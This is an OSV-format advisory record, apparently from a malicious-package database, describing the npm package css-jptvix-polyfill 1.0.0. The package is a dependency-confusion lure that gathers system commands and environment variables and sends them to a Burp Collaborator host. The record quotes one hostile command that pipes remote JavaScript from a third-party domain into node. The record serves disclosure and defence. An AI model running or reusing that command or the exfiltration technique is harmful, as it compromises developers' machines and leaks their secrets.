{"id":"MAL-2026-17638","summary":"Malicious code in css-jptvix-polyfill (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa)\nThe package ships thunderboltRegistry.js, a Proxy-based shim that exports names mimicking internal Wix thunderbolt modules (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, documentManagementRegistry, and others) so that any import of those names in a victim build auto-triggers its payload. On load, the module uses child_process.execSync to run `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, and ships the output together with the hostname via fetch to the hardcoded Burp Collaborator subdomain https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, leaking the full process environment (including any tokens or secrets present) and host identifiers off the installer's machine. The same IIFE additionally runs `curl -L https://appsecc.com/js | node`, piping attacker-controlled JavaScript from an unrelated third-party domain directly into the installer's Node.js interpreter; the code labels this branch `reverse-shell`. The package name and the Wix-internal registry shape are consistent with a dependency-confusion lure targeting Wix thunderbolt builds.\n","modified":"2026-10-06T20:30:04.753930070Z","published":"2026-10-06T19:51:06Z","database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-021098","import_time":"2026-10-06T20:20:38.654635904Z","modified_time":"2026-10-06T19:51:06Z","sha256":"cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa","source":"amazon-inspector","versions":["1.0.0"]}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/css-jptvix-polyfill/v/1.0.0"}],"affected":[{"package":{"name":"css-jptvix-polyfill","ecosystem":"npm","purl":"pkg:npm/css-jptvix-polyfill"},"versions":["1.0.0"],"database_specific":{"indicators":{"package_integrity":[{"filename":"css-jptvix-polyfill-1.0.0.tgz","hashes":{"sha1":"9e700b2c0520fc6a236e4b14db5db5c89b6e8ea4","sha512_sri":"sha512-Js0W2iiynerl/vPEpcWopmR1zUdevE9QFxO+uMawx929wvihQ2kbi13xV6DkdsiXvvjczR2MRVWNLYtM1xpDeA=="}}],"evidence_files":[{"path":"thunderboltRegistry.js","sha256":"8b437ee6733aa1c34668f7c67d779276c08f7013def225c55d61c31753442fc7","tlsh":"3d7143b5b99df02066c33438db7f5049b4bb8a672c6caee0b40859b01f3585c01be6f4"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-jptvix-polyfill/MAL-2026-17638.json","cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}]}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}